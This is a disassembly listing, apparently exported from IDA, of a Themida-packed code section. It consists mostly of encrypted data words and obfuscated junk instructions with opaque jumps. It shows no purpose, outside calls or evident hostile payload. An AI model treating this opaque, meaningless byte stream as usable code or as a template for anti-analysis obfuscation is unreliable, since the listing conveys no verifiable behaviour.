		dd 1C8F443Dh, 0E24B1B8Ah, 4E602F4Eh, 77F81FEh, 6CD51C6Eh
		dd 6F8B6634h, 708F01DBh, 74EC8749h, 0F3CEE8FAh,	6F0D9FD7h
		dd 41647696h, 910E5E50h, 3EE7AD6h, 626FF9Dh, 4E869C7Ah
		dd 52C2A1B3h, 0DD516Ch,	0B515B0E8h, 267F4515h, 85A17C92h
		dd 38B517F1h, 3EE6443h,	0BF94A60Fh, 1C6C424Dh, 0A6BE699Fh
		dd 86BE2713h, 2FC3DBB8h, 96FB4D08h, 811F0F18h, 0B8538BA5h
		dd 0BFD2ADA6h, 684513A6h, 0BF27DC59h, 9B7813A6h, 5FB04B83h
		dd 2F099DF6h, 37552FCDh, 0A6BF37CCh, 283AA313h,	0E119310Eh
		dd 0BCD4B14Fh, 9BB390AAh, 285C2563h, 0AC405835h, 77F22AD5h
		dd 47ABD8h, 4DD40000h, 9F1C6C42h, 13A6B501h, 0BCD6B250h
		dd 845DE984h, 7F912C64h, 49E737A0h, 34F3536Dh, 56501364h
		dd 0D09E6476h, 0ED8BDBF3h, 0D3E7C60Fh, 1BA7427Ah, 53EE263Eh
		dd 0D3451F41h, 8BE17342h, 693B4D68h, 0Fh, 16F492F8h, 0F5D4EE00h
		dd 0FEDBA9E1h, 568152E6h, 1CCF6377h, 0A004EF6Ch, 2DCB1442h
		dd 43223454h, 0F7D4A2DAh, 0FED9A7DFh, 0DCAAE2h,	647E5AE6h
		dd 0E69E752Ch, 265E35AAh, 0A001F673h, 0B4921442h, 0BBE44D9Eh
		dd 0A0E58E0Bh, 0CC6A1442h, 0E3C2D4F2h, 0A0710683h, 6DDD1442h
		dd 0AF33DCh, 0AC055E30h, 0A918DF5Ch, 4DB61442h,	0AEC6A3B9h
		dd 0A2C5811Ah, 14h, 53209231h, 51138C6Ah, 22FF192Bh, 2704D20Ah
		dd 4D9C7B0Fh, 245C7E56h, 29617956h, 2F677D5Bh, 31698761h
		dd 346C8863h, 376F8B66h, 3E768A69h, 427A9470h, 437B9B74h
		dd 60C168EEh, 8F540000h, 4812404h, 424h, 43336800h, 4890000h
		dd 0E7895724h, 4C781h, 0EF810000h, 4, 5C243C87h, 68243489h
		dd 79E7h, 68241489h, 68D9715Ah,	4AD2F75Ah, 0DACAEA81h
		dd 0D0898F39h, 4EC835Ah, 81242489h, 42404h, 685E0000h
		dd 309Ch, 8F240489h, 34FF0846h,	0C4835E24h, 24048B04h
		dd 81E78957h, 4C7h, 4C78100h, 87000000h, 0E95C243Ch, 0FFF7C673h
		dd 0F1CCD6CCh, 6C33A553h
		db 0A6h, 5Eh, 0E4h
; ---------------------------------------------------------------------------


loc_60DC1F:				; CODE XREF: Themida_:0060D860j
		mov	eax, 7ECB706h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 61CFEC94h, 3BF5C5B0h, 2867430Ah, 7A18293Eh, 37DD0734h
		dd 38E3D184h, 7A086E2Bh, 6315E43Eh, 42F6586Bh, 1F6FB61h
		dd 1120F448h, 61DC9889h, 51BEEBDFh, 562D592Fh, 0E0FFF99h
		dd 5966A6C2h, 158DC9F6h, 33A23E65h, 4DDF175Fh, 48DF2BDDh
		dd 37997CCCh, 16299B86h, 0F1E2922h, 7B7E742Bh, 0D8E36ECh
		dd 79435528h, 6DEC4EFFh, 5AAE6EB8h, 11811170h, 4DA0E87h
		dd 79C28166h, 0D8F4806Dh, 2800Fh, 0F88A0000h, 68CEBF66h
		dd 66F38B66h, 8BA56BBFh, 0FE9DFh, 53380000h, 0D39EB622h
		dd 917F6E99h, 0C000CEC7h, 9E93Ch, 0B3610000h, 9FA3F2BEh
		dd 0E94BD1E0h, 9, 3F46F8D4h, 0B06C45C0h, 80FA8A92h, 0AE96CE9h
		dd 16000000h, 11A4E64Dh, 4F9EBACCh, 14810FF2h, 53000000h
		dd 0CE8h, 0A7C0D100h, 0ECD4F8E2h, 898D8323h, 0B05E5F6Ah
		dd 0F0BF0FD5h, 0FCB8B66h, 0B70FFFBFh, 0C860FCEh, 0F000000h
		dd 68Ch, 800F00h, 0B1000000h, 0FB8B66BFh, 3810Fh, 8B660000h
		dd 6890FCAh, 81000000h,	33A110DBh, 81576061h, 68BE8CAh
		dd 7E95852h, 11000000h,	3ECFFC22h, 0F6140A7h, 0BF66C1BFh
		dd 8CB7E147h, 7E8FCh, 37940000h, 0F1542DF3h, 73BA532Bh
		dd 5F50714Dh, 44BE665Ah, 4F0DBA77h, 9E91B70h, 90000000h
		dd 0B60BF8BFh, 1FF5F955h, 810F75B1h, 4,	0D038BA66h, 18B0Fh
		dd 0FF50000h, 3FB1CEB7h, 842B31BAh, 850F13h, 0F000000h
		dd 0DF81FAB7h, 39FD77DAh, 0FE8B60FCh, 0F1816661h, 0E860AE88h
		dd 0Eh,	865CD10Bh, 9D3E0532h, 0CAFB617Ch, 0FA8A89DDh, 8166535Fh
		dd 5E7619D3h, 14E961h, 3E6F0000h, 0D27B6747h, 3F409BAAh
		dd 55CD3C9Ah, 74B18E8Eh, 0E380B728h, 0EE98Bh, 234E0000h
		dd 175FA65h, 9F403BD5h,	0F947B0E7h, 8E9h, 0DFAE8000h, 2878487Ah
		dd 5E9DBh, 0C44F0000h, 80E924FFh, 8B662CC2h, 6E9CBh, 29010000h
		dd 8F9992A9h, 8B66DF8Bh, 870F60D3h, 2, 0B261EAB6h, 11810F7Bh
		dd 0E9000000h, 0Ch, 0DB3D1A8Fh,	32353495h, 0B15D2D52h
		dd 0EF41BA66h, 0FE8F5h,	10340000h, 191DB4ACh, 10E20F96h
		dd 0EADF9E0Ah, 0FB8B669Dh, 13E959h, 9A4E0000h, 9AD28B65h
		dd 0ACD2BDD1h, 0D5AAACFEh, 0BA326D16h, 0AE85384h, 40000000h
		dd 4EC84789h, 870A0B2Ch, 13E958h, 0C68D0000h, 5BE1FAE9h
		dd 0C889EB88h, 9335F770h, 0A5D607C6h, 0F5B5A18h, 0EDB8F2B7h
		dd 0F479CC4h, 0FF9C8BFh, 1180h,	9E800h,	0C13B0000h, 66750115h
		dd 0B408E5AEh, 9BBA5AEBh, 52104E89h, 14E8h, 0B6282D00h
		dd 0F51B2304h, 2EDA9009h, 2BEBD2A2h, 0C2C2AD97h, 0EE851h
		dd 0ECB20000h, 92221741h, 0CE757984h, 0A9862546h, 665E5F58h
		dd 0BBB154B8h, 48C85ECAh, 8150FCF5h, 7C9E84E2h,	60F95859h
		dd 11E9h, 23E0C100h, 944DAC57h,	0C8F215C8h, 0D2FC57B3h
		dd 0D78B3AF5h, 0C9816661h, 0F603FA6h, 388h, 0DFBF0F00h
		dd 251DBB66h, 0AE961h, 0F6D10000h, 0E06BAF6Ah, 5D83F32Dh
		dd 85BB6056h, 0F44595Dh, 5961FEBFh, 890FC78Bh, 5, 7AE68166h
		dd 3BBBBF20h, 0EAB80DCCh, 0BE5E796Dh, 1BD0950Ah, 0BE9h
		dd 0DE495000h, 0CAB889FBh, 68DEE47Ch, 0AE8h, 4AEECC00h
		dd 3AFBF184h, 0FB21CE5h, 38Ah, 0F38B6600h, 0BE95Fh, 987D0000h
		dd 0C5BB79D2h, 0B46C8967h, 0D681665Dh, 8AF9C49Bh, 61B956CBh
		dd 58603ECAh, 8C35C181h, 81660F17h, 0F8B44CE0h,	13E950h
		dd 54EE0000h, 7B759478h, 0C95CA2C8h, 686906B3h,	960D29CDh
		dd 8B665ADBh, 0D98B66F8h, 13E9FCh, 0AD8B0000h, 26D8F9EEh
		dd 984CA1CCh, 0C7DD10ABh, 0C94F3B0Ah, 810F607Ch, 0
		dd 0DE816660h, 616186EBh, 8B66FCF9h, 0B96660F0h, 61FC75DCh
		dd 0EE860h, 627A0000h, 18B7DC3Eh, 16F3AAFAh, 891E8A63h
		dd 66596160h, 0B8CAF081h, 3820F61h, 80000000h, 81667DD0h
		dd 0E8918DF6h, 8, 0C4A39163h, 0A1E90F03h, 28A0Fh, 5A500000h
		dd 0F3CF805Ah, 0AE8h, 1B6EBD00h, 0EF368256h, 60DEBC1Ch
		dd 0C2815953h, 1EC3D9C5h, 0D1B95961h, 0F4F76A0h, 82h, 0AEE38000h
		dd 14E9h, 53B45A00h, 2417C33Eh,	0B93D0081h, 0C3E248B4h
		dd 9D2FE3DBh, 0AE9A3h, 51BB0000h, 2C64BC22h, 843AB859h
		dd 0ACE28166h, 12E85Ch,	71530000h, 959EA0BEh, 0D1719CB9h
		dd 0CB16CBCAh, 0A6F98412h, 0F59D0B1h, 0BEFCF3BFh, 50EC40B1h
		dd 0C9B96650h, 8B605EE6h, 5CBA66FAh, 57606102h,	9E9h, 39FBAE00h
		dd 0E2D20359h, 0E95FF975h, 6, 77337646h, 0E961D231h, 13h
		dd 9A3DD322h, 48F0B132h, 135AAC4Eh, 9B96CD2Fh, 0F2411ACh
		dd 0E860C1BFh, 13h, 9B6D89F6h, 0C638F79Dh, 6CEED62Eh, 0A13AAF93h
		dd 66AC54B2h, 5AF1DEBEh, 0DF806061h, 0F88B66E2h, 0C681FC61h
		dd 1F8A05B8h, 64E78166h, 0D18B66ABh, 7A3DB866h,	19860Fh
		dd 840F0000h, 13h, 0EE9h, 25A9500h, 7C34D644h, 47D36C2Eh
		dd 0BFE5E222h, 6D62F23h, 38E0Fh, 0E4800000h, 12E92Ch, 69B10000h
		dd 0AA53E051h, 95BFA3D2h, 177D8FA0h, 2E6BED6Eh,	0FF90FB4h
		dd 83h,	23F68100h, 0F83AEA62h, 0DE9h, 1D7E5D00h, 0D9D1FE6Bh
		dd 8A46F25h, 8B6676DBh,	34E980DEh, 0D034E0BFh, 0BE6ABB01h
		dd 0BE95155h, 79000000h, 0FE2EBE37h, 0AEB917BEh, 0BAFC99F6h
		dd 2333244Ah, 880F5652h, 0
; ---------------------------------------------------------------------------
		pop	edx
		pop	eax
		push	ecx
		jmp	loc_60E229
; ---------------------------------------------------------------------------
		dd 0E65B8723h
byte_60E228	db 0EAh			; CODE XREF: Themida_:0060E29Ej
; ---------------------------------------------------------------------------


loc_60E229:				; CODE XREF: Themida_:0060E21Fj
		pop	edx
		mov	bh, 3Ch
		jmp	loc_60E236
; ---------------------------------------------------------------------------
		db 42h,	79h, 0CBh
; ---------------------------------------------------------------------------
		fcomip	st, st(1)


loc_60E236:				; CODE XREF: Themida_:0060E22Cj
		push	edx
		mov	ax, 0D9E4h
		pop	edi
		clc
		push	edi
		pop	ecx
		xor	esi, 22962163h
		jmp	loc_60E252
; ---------------------------------------------------------------------------
		dw 0F3FAh
		dd 2F574C66h
		db 0A1h, 0Dh
; ---------------------------------------------------------------------------


loc_60E252:				; CODE XREF: Themida_:0060E245j
		jb	loc_60E259
		stc


loc_60E259:				; CODE XREF: Themida_:loc_60E252j
		movsx	edx, si
		jo	$+6
		mov	dh, 0D8h
		jz	loc_60E280
		call	near ptr loc_60E279+4
		or	al, 89h
		stosd
		push	ebx
		inc	edi
		mov	ds:20F540B1h, al


loc_60E279:				; CODE XREF: Themida_:0060E26Ap
		sbb	eax, 5189A76Dh
		pop	edx
		pop	edx


loc_60E280:				; CODE XREF: Themida_:0060E264j
		cmc
		sub	si, 25C0h
		cmc
		jmp	loc_60E298
; ---------------------------------------------------------------------------
		jnb	short loc_60E29D
		fsincos
		add	bl, [ebx+13h]
		pop	esi
		dec	edi
		mov	dl, 82h
		cli


loc_60E298:				; CODE XREF: Themida_:0060E287j
		call	near ptr loc_60E2AD+2


loc_60E29D:				; CODE XREF: Themida_:0060E28Cj
		dec	ecx
		loope	near ptr byte_60E228
		mov	eax, ds:10E6B1B0h
		mov	fs, word ptr [ebx]
		and	eax, 0D0636451h
		aas


loc_60E2AD:				; CODE XREF: Themida_:loc_60E298p
		jmp	far ptr	0E860h:5AD6B37Dh
; ---------------------------------------------------------------------------
		dd 0Fh,	0EC51BDF6h, 2BAFAAEEh, 0CB71D67Bh, 665372D7h, 5EE7CDBFh
		dd 0D18161F8h, 226BE35Fh, 94DBDE81h, 7E97EF7h, 8000000h
		dd 930F4D09h, 27BB49C0h, 667D7135h, 81FB21BAh, 93B3D5E8h
		dd 12E86025h, 90000000h, 2A5A6D0Eh, 4C92704h, 1A93C9FCh
		dd 65E03379h, 8B5EF899h, 0BBFC61F8h, 5961B5EFh,	0EFC6D281h
		dd 0D8801A5Ah, 0FDBA66D9h, 0D68B66EBh, 820F9EB3h, 2, 0FE9C28Bh
		dd 7000000h, 0E43F8A8Ah, 9705A73h, 56195DC5h, 0BF66B420h
		dd 0F60FD63h, 68Fh, 890F00h, 57000000h,	615E5A50h, 0E980D88Ah
		dd 0F7C381B6h, 0F964E727h, 1512DF81h, 830F7B23h, 1, 66C18AFCh
		dd 6D31EF81h, 6860Fh, 0F0810000h, 4ECA6579h, 0F7BF0F60h
		dd 5E961h, 575C0000h, 0F9539BFh, 28Ch, 81C88B00h, 0AF0A31C1h
		dd 0F870F40h, 0E9000000h, 0Ah, 8CA91BB7h, 0A15AAA0Bh, 0BF66A8D2h
		dd 0D18A7472h, 0E7C9E781h, 47B139C5h, 0BB39B4F5h, 7E06CD6Dh
		dd 0FF28B66h, 6660FFBFh, 0E281C38Bh, 22BD659Dh,	0DA816661h
		dd 8166E79Ah, 665332C8h, 664DCCB9h, 1965EF81h, 0C75CB966h
		dd 11E8h, 0E7B74100h, 0F4160A18h, 308F3DE6h, 2571688Dh
		dd 8C0F6BB7h, 0
		dd 820F605Ah, 2, 8A0FD18Bh, 2, 66616160h, 0DF8BD38Bh, 9827B866h
		dd 8B66F88Bh, 6E8D7h, 9D210000h, 56892135h, 3870Fh, 0C9800000h
		dd 0B70F5B2Eh, 8BE66F3h, 8D0F53E3h, 6, 5203D781h, 0E95851A4h
		dd 0Ah,	50844BDFh, 0EAB91BE7h, 8C0F0517h, 0
		dd 8B66BBB3h, 943ABBD3h, 81663AD8h, 66BED0C8h, 13E8FB8Bh
		dd 0D000000h, 0DCE5FA75h, 17F36104h, 4A8DAA94h,	3F67CBE1h
		dd 605678FBh, 0F585F61h, 40B6C6B7h, 8BD1C480h, 0FF98AF9h
		dd 58Eh, 8B665200h, 0B70F5FC1h,	0C68B66DBh, 2BC29B9h, 0C6BE663Ch
		dd 58BF662Fh, 0D38160EAh, 438E95A6h, 61FAB70Fh,	0FC9B70Fh
		dd 87h,	0B5D38100h, 662E7553h, 0E9D036BAh, 0Dh,	0ED11271Ch
		dd 0C35E3F64h, 7739C177h, 0C3BF0F67h, 81F58056h, 28D0F5Bh
		dd 8B000000h, 0C3BF0FF1h, 0E9FE8B66h, 0Ch, 0F0622C37h
		dd 0C7FF9D13h, 0FFA5479Ch, 9E9h, 0AE3C4D00h, 8AF5A263h
		dd 81662210h, 66FB4BC0h, 0FBE89B8h, 0BF0FC8B7h,	0D18057F3h
		dd 81665BABh, 0FA930D9h, 8166D2B7h, 0FD031D1h, 385h, 0FBBF0F00h
		dd 74DDB866h, 4B03BA66h, 10E852h, 63340000h, 0AFFF75E0h
		dd 6D4DA76h, 0B98AC34h,	830F0B16h, 0
; ---------------------------------------------------------------------------
		pop	ebx
		pop	eax
		jmp	loc_60E590
; ---------------------------------------------------------------------------
		db 0C5h
		dd 96E3B4AAh, 57DE0D61h
; ---------------------------------------------------------------------------


loc_60E590:				; CODE XREF: Themida_:0060E582j
		or	cx, 0CDFBh
		sbb	edx, 1801BAA2h
		jle	loc_60E5A7
		xor	edi, 17A14070h


loc_60E5A7:				; CODE XREF: Themida_:0060E59Bj
		movzx	edx, si
		cld
		mov	ebx, edx
		mov	cx, di
		mov	cl, 4Dh
		pusha
		jmp	loc_60E5C0
; ---------------------------------------------------------------------------
		dd 7AC42C41h, 0F918CCCFh
; ---------------------------------------------------------------------------


loc_60E5C0:				; CODE XREF: Themida_:0060E5B3j
		push	ecx
		sub	cl, 8Dh
		pop	edi
		popa
		push	esi
		pop	ecx
		jmp	loc_60E5D3
; ---------------------------------------------------------------------------
		and	ds:0FADAF46Ah, ebp


loc_60E5D3:				; CODE XREF: Themida_:0060E5C8j
		adc	ax, 4A8Ah
		mov	ebx, edx
		add	ecx, 748D228Dh
		mov	cx, 0F136h
		mov	eax, 18E45F32h
		mov	si, cx
		call	near ptr loc_60E5FE+1
		xor	esp, edi
		db	64h
		insb
		shl	dword ptr [eax-10FA92C5h], 0F5h
		mov	ch, 5Bh


loc_60E5FE:				; CODE XREF: Themida_:0060E5ECp
		cmp	al, 0Fh
		mov	bh, 0F7h
		pop	esi
		mov	edx, 66C06F55h
		jmp	loc_60E61F
; ---------------------------------------------------------------------------
		db 30h,	1Bh, 0
		dd 0F64651D7h, 3C150AC1h, 70992D56h
		db 0BEh, 11h, 0C6h
; ---------------------------------------------------------------------------


loc_60E61F:				; CODE XREF: Themida_:0060E608j
		add	cx, 107Bh
		jnb	loc_60E62B
		cld


loc_60E62B:				; CODE XREF: Themida_:0060E624j
		movzx	ebx, di
		jmp	loc_60E63C
; ---------------------------------------------------------------------------
		db 91h
		dd 8624C61Eh, 1A872C4Ah
; ---------------------------------------------------------------------------


loc_60E63C:				; CODE XREF: Themida_:0060E62Ej
		jb	loc_60E644
		mov	ah, 0BCh


loc_60E644:				; CODE XREF: Themida_:loc_60E63Cj
		adc	ebx, 759D7Dh
		mov	cl, ah
		adc	si, 292Ah
		mov	edi, 21CC5010h
		mov	ebx, ecx
		and	edx, 63901E8Ch
		add	dx, 0CCh
		pusha
		mov	ah, dl
		jle	loc_60E672
		and	eax, 31732AA9h


loc_60E672:				; CODE XREF: Themida_:0060E666j
		popa
		push	edx
		pop	ebx
		add	si, 0B1BFh
		mov	ah, bl
		clc
		jmp	loc_60E68D
; ---------------------------------------------------------------------------
		sar	dword ptr [edx], 43h
		retn	0B908h
; ---------------------------------------------------------------------------
		dd 11F86549h
		db 38h
; ---------------------------------------------------------------------------


loc_60E68D:				; CODE XREF: Themida_:0060E67Dj
		or	cx, 0FDD1h
		and	cx, 7EB0h
		adc	eax, 6192BF59h
		call	near ptr loc_60E6AD+1
		das
		loope	near ptr loc_60E717+4
		xor	al, 0DCh
		lds	esi, [edx+69h]
		fsub	st, st
		stc


loc_60E6AD:				; CODE XREF: Themida_:0060E69Dp
		add	cl, [edi]
		xchg	al, [edx]
; ---------------------------------------------------------------------------
		db 3 dup(0)
; ---------------------------------------------------------------------------
		mov	ch, 7Bh
		pop	ebx
		cmc
		mov	di, 0CE60h
		pusha
		jmp	loc_60E6C8
; ---------------------------------------------------------------------------
		dw 0FC13h
		dd 0BC59B84Eh
; ---------------------------------------------------------------------------


loc_60E6C8:				; CODE XREF: Themida_:0060E6BDj
		jmp	loc_60E6D9
; ---------------------------------------------------------------------------
		db 1Bh,	0F9h, 3
		dd 0E96AE032h, 0C25D8436h
		db 12h
; ---------------------------------------------------------------------------


loc_60E6D9:				; CODE XREF: Themida_:loc_60E6C8j
		popa
		pusha
		mov	esi, 2E04D51Eh
		movzx	ebx, bx
		popa
		cld
		jp	$+6
		jle	loc_60E6F7
		sbb	esi, 2E19C386h


loc_60E6F7:				; CODE XREF: Themida_:0060E6EBj
		mov	edi, 1EB6F77Bh
		mov	bx, dx
		jmp	loc_60E717
; ---------------------------------------------------------------------------
		dd 0AB657A3Ah, 436DA10Fh, 0BFA7731Fh, 0D3B03349h
		db 8Bh,	0D0h, 0B7h
; ---------------------------------------------------------------------------


loc_60E717:				; CODE XREF: Themida_:0060E6FFj
					; Themida_:0060E6A3j
		jz	loc_60E732
		jmp	loc_60E732
; ---------------------------------------------------------------------------
		mov	eax, ds:2E923C71h
		sub	dl, [eax-58A0D08Bh]
		imul	ebx, [eax+69h],	1Ah
		xchg	eax, edi


loc_60E732:				; CODE XREF: Themida_:loc_60E717j
					; Themida_:0060E71Dj
		and	edx, 46B938E9h
		ja	loc_60E751
		jmp	loc_60E751
; ---------------------------------------------------------------------------
		cli
		and	[eax], esp
		mov	[edi-23h], esp
		les	edx, ds:58C2F396h
		mov	dh, 0F4h


loc_60E751:				; CODE XREF: Themida_:0060E738j
					; Themida_:0060E73Ej
		cld
		jo	loc_60E75A
		mov	ebx, esi


loc_60E75A:				; CODE XREF: Themida_:0060E752j
		pusha
		sub	edx, 15C03E76h
		mov	bh, 0B8h
		popa
		push	edi
		jmp	loc_60E77E
; ---------------------------------------------------------------------------
		dw 0EE4Ch
; ---------------------------------------------------------------------------
		retf	0D552h
; ---------------------------------------------------------------------------
		db 4Eh
		dd 9771CAB7h, 0E95D563h, 0B1408D98h
		db 96h,	0B7h
; ---------------------------------------------------------------------------


loc_60E77E:				; CODE XREF: Themida_:0060E765j
		pop	ecx
		pusha
		cmc
		call	sub_60E79A
		push	eax
		cwde
		das
		cmp	[esi-24h], cl
		daa
		push	ecx
		jbe	short near ptr loc_60E7B1+3
		test	byte ptr [edi+6Fh], 0F6h
		test	al, 0ABh
		inc	eax
		das
		xor	ch, ch

; =============== S U B	R O U T	I N E =======================================



sub_60E79A	proc near		; CODE XREF: Themida_:0060E781p
		movsx	edx, bx
		pop	eax
		popa
		jb	loc_60E7A7
		mov	ah, 0Ah


loc_60E7A7:				; CODE XREF: sub_60E79A+5j
		movsx	edx, dx
		mov	bl, 0
		call	sub_60E7BE


loc_60E7B1:				; CODE XREF: Themida_:0060E78Ej
		add	eax, 0F38263Ch
		aam	65h
		inc	ebp
		mov	edi, 0B193EE47h
sub_60E79A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_60E7BE	proc near		; CODE XREF: sub_60E79A+12p
		jnz	loc_60E7D2
		jmp	loc_60E7D2
; ---------------------------------------------------------------------------
		db 0C6h, 52h, 99h
		dd 2E95F5CFh
		db 6Bh,	0B1h
; ---------------------------------------------------------------------------


loc_60E7D2:				; CODE XREF: sub_60E7BEj sub_60E7BE+6j
		pop	eax
		or	edx, 6315FAC9h
		or	al, 0A7h
		movsx	eax, cx
		mov	bl, ah
		mov	ebx, eax
		mov	cx, di
		jge	loc_60E7F2
		and	eax, 790256E0h


loc_60E7F2:				; CODE XREF: sub_60E7BE+28j
		mov	di, si
		or	dh, 27h
		mov	eax, 7016B9D6h
		mov	dx, 6F13h
		xor	dl, 73h
		mov	edx, 52EE0AD6h
		mov	esi, eax
		mov	di, bx
		movzx	edx, ax
		clc
		mov	bl, ch


loc_60E814:				; CODE XREF: sub_60E7BE+7Dj
		mov	di, cx
		pusha
		sub	dl, 28h
		jmp	loc_60E82B
; ---------------------------------------------------------------------------
		xor	[ebx], edx
		int	3		; Trap to Debugger
		sbb	al, 2Bh
		setalc
		mov	eax, ds:0FA874C36h


loc_60E82B:				; CODE XREF: sub_60E7BE+5Dj
		popa
		movzx	ebx, bx
		jmp	loc_60E847
; ---------------------------------------------------------------------------
		fdiv	dword ptr ds:9CF0A57Eh
		push	ds
		jmp	short loc_60E814
; ---------------------------------------------------------------------------
		db 12h,	38h, 0DBh
		dd 0E06846h
; ---------------------------------------------------------------------------
		and	dl, [ebp+0Dh]


loc_60E847:				; CODE XREF: sub_60E7BE+71j
		add	ah, 0CBh
		sub	ax, 5DDBh
		jo	loc_60E857
		mov	edx, ecx


loc_60E857:				; CODE XREF: sub_60E7BE+91j
		movzx	eax, bx
		mov	cx, dx
		or	bh, 6Fh
		jmp	loc_60E871
; ---------------------------------------------------------------------------
		db 37h,	1Ch, 0A4h
		dd 6760CE67h, 5FA5E7BAh
		db 1Dh
; ---------------------------------------------------------------------------


loc_60E871:				; CODE XREF: sub_60E7BE+A2j
		jg	$+6
		adc	bx, 10EDh
		and	dx, 5F1Eh
		jp	loc_60E88C
		pusha
		mov	esi, ecx
		stc
		popa


loc_60E88C:				; CODE XREF: sub_60E7BE+C3j
		mov	bx, dx
		and	di, 3183h
		mov	ecx, 1592DC55h
		stc
		jle	loc_60E8A5
		add	di, 8A17h


loc_60E8A5:				; CODE XREF: sub_60E7BE+DCj
		mov	ch, 0ECh
		jmp	loc_60E8BA
; ---------------------------------------------------------------------------
		dd 4D06CFD4h, 6058BC56h, 82BF1A01h
; ---------------------------------------------------------------------------
		inc	ebp
		push	esi


loc_60E8BA:				; CODE XREF: sub_60E7BE+E9j
		jbe	loc_60E8C3
		mov	cx, bx


loc_60E8C3:				; CODE XREF: sub_60E7BE:loc_60E8BAj
		jl	loc_60E8CE
		mov	esi, 8D169A2h


loc_60E8CE:				; CODE XREF: sub_60E7BE:loc_60E8C3j
		jnp	loc_60E8E0
		js	loc_60E8E0
		jl	$+6


loc_60E8E0:				; CODE XREF: sub_60E7BE:loc_60E8CEj
					; sub_60E7BE+116j
		sub	eax, 2C3B059Ch
		movsx	ecx, dx
		mov	ecx, 1E11B611h
		sbb	eax, 76860231h
		jno	loc_60E8FF
		pusha
		xor	dl, 0AEh
		popa


loc_60E8FF:				; CODE XREF: sub_60E7BE+136j
		mov	dx, 0E8Eh
		mov	dx, 85E5h
		jnp	loc_60E911
		mov	cx, 80A3h


loc_60E911:				; CODE XREF: sub_60E7BE+149j
		mov	eax, edx
		xor	eax, 387AB0E3h
		jmp	loc_60E928
; ---------------------------------------------------------------------------
		dw 106Ch
		dd 0F99904D4h, 0D647B7A1h
; ---------------------------------------------------------------------------


loc_60E928:				; CODE XREF: sub_60E7BE+15Bj
		movsx	edx, di
		mov	di, 8C92h
		jl	loc_60E942
		jmp	loc_60E942
; ---------------------------------------------------------------------------
		mov	[eax-7466298Dh], esp
		setalc
		inc	ecx


loc_60E942:				; CODE XREF: sub_60E7BE+171j
					; sub_60E7BE+177j
		jmp	loc_60E953
; ---------------------------------------------------------------------------
		mov	bl, 0C1h
		jge	short loc_60E975
		pop	ebp
		aad	6Fh
		xchg	eax, esp
		and	ah, [ecx+61h]


loc_60E953:				; CODE XREF: sub_60E7BE:loc_60E942j
		jmp	loc_60E967
; ---------------------------------------------------------------------------
		adc	edi, [edi+19733905h]
		sbb	al, 0A6h
		dec	esi
		add	dh, [eax-216F7218h]


loc_60E967:				; CODE XREF: sub_60E7BE:loc_60E953j
		push	edx
		jmp	loc_60E97B
; ---------------------------------------------------------------------------
		db 0E5h, 0A9h, 0E6h
		dd 0C968F598h
		db 17h
; ---------------------------------------------------------------------------


loc_60E975:				; CODE XREF: sub_60E7BE+18Cj
		sbb	dh, ch
; ---------------------------------------------------------------------------
		db 0F2h
		db 0E8h, 0BFh, 0C0h
; ---------------------------------------------------------------------------


loc_60E97B:				; CODE XREF: sub_60E7BE+1AAj
		pop	ebx
		add	edi, 0F7DD05Dh
		mov	dx, si
		pusha
		mov	dh, 60h
		movzx	edx, si
		popa
		jmp	loc_60E99F
; ---------------------------------------------------------------------------
		db 99h,	4, 4Ch
		dd 0D2E2F1EDh, 50777C2Bh
; ---------------------------------------------------------------------------
		adc	[eax-12h], cl


loc_60E99F:				; CODE XREF: sub_60E7BE+1CEj
		call	near ptr loc_60E9A5+4
		cdq


loc_60E9A5:				; CODE XREF: sub_60E7BE:loc_60E99Fp
		or	eax, 0FBAC186h
sub_60E7BE	endp ; sp-analysis failed

		mov	word ptr [eax],	es
; ---------------------------------------------------------------------------
		dd 5E000000h, 10E9h, 87DFB100h,	6610CED7h, 7E98C993h, 2F0F9912h
		dd 10E909h, 7F4A0000h, 0C9F5DB5Dh, 0F1570E5Ah, 0D8A4FF44h
		dd 8B662B6Bh, 9840FF9h,	0F000000h, 38Eh, 0F9B70F00h, 12E9DCB4h
		dd 9000000h, 0BEBB3CE8h, 0CF2282CAh, 0E70E2A04h, 0D82BDEB9h
		dd 6FB6F9D8h, 81FCD7B7h, 0C5A860F1h, 0F80B257h,	0C881D0B7h
		dd 25C296BFh, 1AFFE781h, 8AF50417h, 8840FF5h, 52000000h
		dd 810Fh, 535B0000h, 59D38166h,	0B8665A6Bh, 0EE948F7h
		dd 17000000h, 0F615A49Ah, 43945E96h, 0D1239AB4h, 10E884h
		dd 6AD20000h, 0B20417A3h, 73EFF3B9h, 364F177h, 0D180126Fh
		dd 880F5B53h, 1, 13E8F8h, 9C0A0000h, 0DD20B538h, 0ABA71F97h
		dd 4D91E5C1h, 0D5717827h, 0EF681EBh, 5E1CC243h,	0EA575AB9h
		dd 5840F2Ah, 66000000h,	0CDAEF681h, 0EE9h, 0A747FE00h
		dd 702F0003h, 85499974h, 663CF4B4h, 0F581E281h,	0FE76BF66h
		dd 0B274C681h, 666034A0h, 0BE8C78Bh, 83000000h,	7A775676h
		dd 9C0F70B0h, 0BF0F080Fh, 66615FDBh, 0B6E06FBEh, 56DD80FBh
		dd 0C88BF48Ah, 2DA1DF81h, 28B061AFh, 0F8FCB80h,	8Fh, 8E900h
		dd 0EB5F0000h, 10067846h, 0B70F506Eh, 0C6B70FDAh, 6E9h
		dd 9C58C800h, 813AD5E6h, 0F8A8CCC7h, 0FA8BF96Eh, 0C678BA66h
		dd 41BB66F9h, 0C4E1804Dh, 6874BB66h, 0EE9h, 0AEBF9600h
		dd 0E2844D1Ch, 8D3DAC67h, 0E9CF5E93h, 13h, 2F135AACh, 0AC9B96CDh
		dd 0D8CB2411h, 0DDF60AF8h, 606D881Dh, 860F97B0h, 6, 810Fh
		dd 66610000h, 6E7D081h,	830F5260h, 0
; ---------------------------------------------------------------------------
		pop	ebx
		pusha
		mov	al, bl
		mov	si, di
		popa
		popa
		mov	di, bx
		jmp	loc_60EB98
; ---------------------------------------------------------------------------
		db 4Dh,	52h, 0EEh
		dd 64BA9230h, 79A2FF52h, 8B4C7A6Bh
; ---------------------------------------------------------------------------


loc_60EB98:				; CODE XREF: Themida_:0060EB84j
		jnz	loc_60EB9F
		stc


loc_60EB9F:				; CODE XREF: Themida_:loc_60EB98j
		movsx	ebx, di
		jmp	loc_60EBB8
; ---------------------------------------------------------------------------
		db 1Ah
		dd 0E2FC07FCh, 0B5FFDB6Fh, 0B469DADDh, 0AC9ACFB8h
; ---------------------------------------------------------------------------


